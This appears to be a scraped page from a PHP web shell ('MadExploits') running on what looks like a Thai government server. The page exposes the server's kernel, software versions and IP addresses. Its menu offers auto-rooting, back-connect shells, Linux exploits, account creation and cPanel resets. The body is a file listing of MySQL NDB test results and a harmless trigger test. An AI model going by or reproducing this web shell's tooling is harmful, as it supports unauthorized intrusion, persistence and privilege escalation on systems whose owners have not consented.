Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
mysql-test /
suite /
ndb /
r /
[ HOME SHELL ]
Name
Size
Permission
Action
loaddata_autocom_ndb.result
718
B
-rw-r--r--
ndb_alter_table.result
12.48
KB
-rw-r--r--
ndb_alter_table2.result
685
B
-rw-r--r--
ndb_alter_table3.result
1.04
KB
-rw-r--r--
ndb_auto_increment.result
7.7
KB
-rw-r--r--
ndb_autoinc.result
793
B
-rw-r--r--
ndb_basic.result
19.78
KB
-rw-r--r--
ndb_binlog_basic.result
1.37
KB
-rw-r--r--
ndb_binlog_ddl_multi.result
6.8
KB
-rw-r--r--
ndb_binlog_discover.result
735
B
-rw-r--r--
ndb_binlog_format.result
1.55
KB
-rw-r--r--
ndb_binlog_ignore_db.result
383
B
-rw-r--r--
ndb_binlog_log_bin.result
3.63
KB
-rw-r--r--
ndb_binlog_multi.result
3.34
KB
-rw-r--r--
ndb_bitfield.result
4.95
KB
-rw-r--r--
ndb_blob.result
19.15
KB
-rw-r--r--
ndb_blob_partition.result
6.06
KB
-rw-r--r--
ndb_bug26793.result
257
B
-rw-r--r--
ndb_bug31477.result
1.85
KB
-rw-r--r--
ndb_cache.result
4.28
KB
-rw-r--r--
ndb_cache2.result
13.31
KB
-rw-r--r--
ndb_cache_multi.result
1.67
KB
-rw-r--r--
ndb_cache_multi2.result
1.68
KB
-rw-r--r--
ndb_charset.result
5.66
KB
-rw-r--r--
ndb_condition_pushdown.result
54.66
KB
-rw-r--r--
ndb_config.result
1.44
KB
-rw-r--r--
ndb_config2.result
462
B
-rw-r--r--
ndb_cursor.result
792
B
-rw-r--r--
ndb_database.result
303
B
-rw-r--r--
ndb_dd_alter.result
25.79
KB
-rw-r--r--
ndb_dd_basic.result
16.34
KB
-rw-r--r--
ndb_dd_ddl.result
5.7
KB
-rw-r--r--
ndb_dd_disk2memory.result
12.94
KB
-rw-r--r--
ndb_dd_dump.result
15.97
KB
-rw-r--r--
ndb_dd_sql_features.result
22.4
KB
-rw-r--r--
ndb_gis.result
46.05
KB
-rw-r--r--
ndb_grant.result
17.65
KB
-rw-r--r--
ndb_index.result
7.21
KB
-rw-r--r--
ndb_index_ordered.result
18.33
KB
-rw-r--r--
ndb_index_unique.result
12.96
KB
-rw-r--r--
ndb_insert.result
35.84
KB
-rw-r--r--
ndb_limit.result
2.01
KB
-rw-r--r--
ndb_load.result
971
B
-rw-r--r--
ndb_loaddatalocal.result
1.39
KB
-rw-r--r--
ndb_lock.result
4.17
KB
-rw-r--r--
ndb_lock_table.result
205
B
-rw-r--r--
ndb_minmax.result
1.47
KB
-rw-r--r--
ndb_multi.result
2.5
KB
-rw-r--r--
ndb_multi_row.result
1.34
KB
-rw-r--r--
ndb_partition_error.result
1.27
KB
-rw-r--r--
ndb_partition_error2.result
150
B
-rw-r--r--
ndb_partition_key.result
7.59
KB
-rw-r--r--
ndb_partition_list.result
2.25
KB
-rw-r--r--
ndb_partition_range.result
6.45
KB
-rw-r--r--
ndb_read_multi_range.result
11.16
KB
-rw-r--r--
ndb_rename.result
601
B
-rw-r--r--
ndb_replace.result
2.82
KB
-rw-r--r--
ndb_restore.result
15.51
KB
-rw-r--r--
ndb_restore_compat.result
2.98
KB
-rw-r--r--
ndb_restore_different_endian_d...
10.84
KB
-rw-r--r--
ndb_restore_partition.result
14.01
KB
-rw-r--r--
ndb_restore_print.result
8.43
KB
-rw-r--r--
ndb_row_format.result
1.55
KB
-rw-r--r--
ndb_single_user.result
4.02
KB
-rw-r--r--
ndb_sp.result
1.1
KB
-rw-r--r--
ndb_subquery.result
2.86
KB
-rw-r--r--
ndb_temporary.result
740
B
-rw-r--r--
ndb_tmp_table_and_DDL.result
3.11
KB
-rw-r--r--
ndb_transaction.result
4.62
KB
-rw-r--r--
ndb_trigger.result
7.49
KB
-rw-r--r--
ndb_truncate.result
425
B
-rw-r--r--
ndb_types.result
3.12
KB
-rw-r--r--
ndb_update.result
2.09
KB
-rw-r--r--
ndb_update_no_read.result
1.51
KB
-rw-r--r--
ndb_view.result
597
B
-rw-r--r--
ndbapi.result
686
B
-rw-r--r--
ps_7ndb.result
103.25
KB
-rw-r--r--
strict_autoinc_5ndb.result
651
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ndb_trigger.result
drop table if exists t1, t2, t3, t4, t5; create table t1 (id int primary key, a int not null, b decimal (63,30) default 0) engine=ndb; create table t2 (op char(1), a int not null, b decimal (63,30)) engine=ndb; create table t3 engine=ndb select 1 as i; create table t4 (a int not null primary key, b int) engine=ndb; create table t5 (a int not null primary key, b int) engine=ndb; create trigger t1_bu before update on t1 for each row begin insert into t2 values ("u", old.a, old.b); set new.b = old.b + 10; end;// create trigger t1_bd before delete on t1 for each row begin insert into t2 values ("d", old.a, old.b); end;// create trigger t4_au after update on t4 for each row begin update t5 set b = b+1; end; // create trigger t4_ad after delete on t4 for each row begin update t5 set b = b+1; end; // insert into t1 values (1, 1, 1.05), (2, 2, 2.05), (3, 3, 3.05), (4, 4, 4.05); insert into t4 values (1,1), (2,2), (3,3), (4, 4); insert into t5 values (1,0); update t1 set a=5 where a != 3; select * from t1 order by id; id a b 1 5 11.050000000000000000000000000000 2 5 12.050000000000000000000000000000 3 3 3.050000000000000000000000000000 4 5 14.050000000000000000000000000000 select * from t2 order by op, a, b; op a b u 1 1.050000000000000000000000000000 u 2 2.050000000000000000000000000000 u 4 4.050000000000000000000000000000 delete from t2; update t1, t3 set a=6 where a = 5; select * from t1 order by id; id a b 1 6 21.050000000000000000000000000000 2 6 22.050000000000000000000000000000 3 3 3.050000000000000000000000000000 4 6 24.050000000000000000000000000000 select * from t2 order by op, a, b; op a b u 5 11.050000000000000000000000000000 u 5 12.050000000000000000000000000000 u 5 14.050000000000000000000000000000 delete from t2; delete from t1 where a != 3; select * from t1 order by id; id a b 3 3 3.050000000000000000000000000000 select * from t2 order by op, a, b; op a b d 6 21.050000000000000000000000000000 d 6 22.050000000000000000000000000000 d 6 24.050000000000000000000000000000 delete from t2; insert into t1 values (1, 1, 1.05), (2, 2, 2.05), (4, 4, 4.05); delete t1 from t1, t3 where a != 3; select * from t1 order by id; id a b 3 3 3.050000000000000000000000000000 select * from t2 order by op, a, b; op a b d 1 1.050000000000000000000000000000 d 2 2.050000000000000000000000000000 d 4 4.050000000000000000000000000000 delete from t2; insert into t1 values (4, 4, 4.05); insert into t1 (id, a) values (4, 1), (3, 1) on duplicate key update a= a + 1; select * from t1 order by id; id a b 3 4 13.050000000000000000000000000000 4 5 14.050000000000000000000000000000 select * from t2 order by op, a, b; op a b u 3 3.050000000000000000000000000000 u 4 4.050000000000000000000000000000 delete from t2; delete from t3; insert into t3 values (4), (3); insert into t1 (id, a) (select i, 1 from t3) on duplicate key update a= a + 1; select * from t1 order by id; id a b 3 5 23.050000000000000000000000000000 4 6 24.050000000000000000000000000000 select * from t2 order by op, a, b; op a b u 4 13.050000000000000000000000000000 u 5 14.050000000000000000000000000000 delete from t2; replace into t1 (id, a) values (4, 1), (3, 1); select * from t1 order by id; id a b 3 1 0.000000000000000000000000000000 4 1 0.000000000000000000000000000000 select * from t2 order by op, a, b; op a b d 5 23.050000000000000000000000000000 d 6 24.050000000000000000000000000000 delete from t1; delete from t2; insert into t1 values (3, 1, 1.05), (4, 1, 2.05); replace into t1 (id, a) (select i, 2 from t3); select * from t1 order by id; id a b 3 2 0.000000000000000000000000000000 4 2 0.000000000000000000000000000000 select * from t2 order by op, a, b; op a b d 1 1.050000000000000000000000000000 d 1 2.050000000000000000000000000000 delete from t1; delete from t2; insert into t1 values (3, 1, 1.05), (5, 2, 2.05); load data infile '../../../std_data/loaddata5.dat' replace into table t1 fields terminated by '' enclosed by '' ignore 1 lines (id, a); select * from t1 order by id; id a b 3 4 0.000000000000000000000000000000 5 6 0.000000000000000000000000000000 select * from t2 order by op, a, b; op a b d 1 1.050000000000000000000000000000 d 2 2.050000000000000000000000000000 update t4 set b = 10 where a = 1; select * from t5 order by a; a b 1 1 update t5 set b = 0; delete from t4 where a = 1; select * from t5 order by a; a b 1 1 drop trigger t4_au; drop trigger t4_ad; drop table t1, t2, t3, t4, t5; CREATE TABLE t1 ( id INT NOT NULL PRIMARY KEY, xy INT ) ENGINE=ndbcluster; INSERT INTO t1 VALUES (1, 0); CREATE TRIGGER t1_update AFTER UPDATE ON t1 FOR EACH ROW BEGIN REPLACE INTO t2 SELECT * FROM t1 WHERE t1.id = NEW.id; END // CREATE TABLE t2 ( id INT NOT NULL PRIMARY KEY, xy INT ) ENGINE=ndbcluster; INSERT INTO t2 VALUES (2, 0); CREATE TABLE t3 (id INT NOT NULL PRIMARY KEY) ENGINE=ndbcluster; INSERT INTO t3 VALUES (1); CREATE TABLE t4 LIKE t1; CREATE TRIGGER t4_update AFTER UPDATE ON t4 FOR EACH ROW BEGIN REPLACE INTO t5 SELECT * FROM t4 WHERE t4.id = NEW.id; END // CREATE TABLE t5 LIKE t2; UPDATE t1 SET xy = 3 WHERE id = 1; SELECT xy FROM t1 where id = 1; xy 3 SELECT xy FROM t2 where id = 1; xy 3 UPDATE t1 SET xy = 4 WHERE id IN (SELECT id FROM t3 WHERE id = 1); SELECT xy FROM t1 where id = 1; xy 4 SELECT xy FROM t2 where id = 1; xy 4 INSERT INTO t4 SELECT * FROM t1; INSERT INTO t5 SELECT * FROM t2; UPDATE t1,t4 SET t1.xy = 3, t4.xy = 3 WHERE t1.id = 1 AND t4.id = 1; SELECT xy FROM t1 where id = 1; xy 3 SELECT xy FROM t2 where id = 1; xy 3 SELECT xy FROM t4 where id = 1; xy 3 SELECT xy FROM t5 where id = 1; xy 3 UPDATE t1,t4 SET t1.xy = 4, t4.xy = 4 WHERE t1.id IN (SELECT id FROM t3 WHERE id = 1) AND t4.id IN (SELECT id FROM t3 WHERE id = 1); SELECT xy FROM t1 where id = 1; xy 4 SELECT xy FROM t2 where id = 1; xy 4 SELECT xy FROM t4 where id = 1; xy 4 SELECT xy FROM t5 where id = 1; xy 4 INSERT INTO t1 VALUES (1,0) ON DUPLICATE KEY UPDATE xy = 5; SELECT xy FROM t1 where id = 1; xy 5 SELECT xy FROM t2 where id = 1; xy 5 DROP TRIGGER t1_update; DROP TRIGGER t4_update; CREATE TRIGGER t1_delete AFTER DELETE ON t1 FOR EACH ROW BEGIN REPLACE INTO t2 SELECT * FROM t1 WHERE t1.id > 4; END // CREATE TRIGGER t4_delete AFTER DELETE ON t4 FOR EACH ROW BEGIN REPLACE INTO t5 SELECT * FROM t4 WHERE t4.id > 4; END // INSERT INTO t1 VALUES (5, 0),(6,0); INSERT INTO t2 VALUES (5, 1),(6,1); INSERT INTO t3 VALUES (5); SELECT * FROM t1 order by id; id xy 1 5 5 0 6 0 SELECT * FROM t2 order by id; id xy 1 5 2 0 5 1 6 1 DELETE FROM t1 WHERE id IN (SELECT id FROM t3 WHERE id = 5); SELECT * FROM t1 order by id; id xy 1 5 6 0 SELECT * FROM t2 order by id; id xy 1 5 2 0 5 1 6 0 INSERT INTO t1 VALUES (5,0); UPDATE t2 SET xy = 1 WHERE id = 6; TRUNCATE t4; INSERT INTO t4 SELECT * FROM t1; TRUNCATE t5; INSERT INTO t5 SELECT * FROM t2; SELECT * FROM t1 order by id; id xy 1 5 5 0 6 0 SELECT * FROM t2 order by id; id xy 1 5 2 0 5 1 6 1 SELECT * FROM t4 order by id; id xy 1 5 5 0 6 0 SELECT * FROM t5 order by id; id xy 1 5 2 0 5 1 6 1 DELETE FROM t1,t4 USING t1,t3,t4 WHERE t1.id IN (SELECT id FROM t3 WHERE id = 5) AND t4.id IN (SELECT id FROM t3 WHERE id = 5); SELECT * FROM t1 order by id; id xy 1 5 6 0 SELECT * FROM t2 order by id; id xy 1 5 2 0 5 1 6 0 SELECT * FROM t4 order by id; id xy 1 5 6 0 SELECT * FROM t5 order by id; id xy 1 5 2 0 5 1 6 0 INSERT INTO t1 VALUES (5, 0); REPLACE INTO t2 VALUES (6,1); SELECT * FROM t1 order by id; id xy 1 5 5 0 6 0 SELECT * FROM t2 order by id; id xy 1 5 2 0 5 1 6 1 REPLACE INTO t1 VALUES (5, 1); SELECT * FROM t1 order by id; id xy 1 5 5 1 6 0 SELECT * FROM t2 order by id; id xy 1 5 2 0 5 1 6 0 DROP TRIGGER t1_delete; DROP TRIGGER t4_delete; DROP TABLE t1, t2, t3, t4, t5; End of 5.1 tests
Close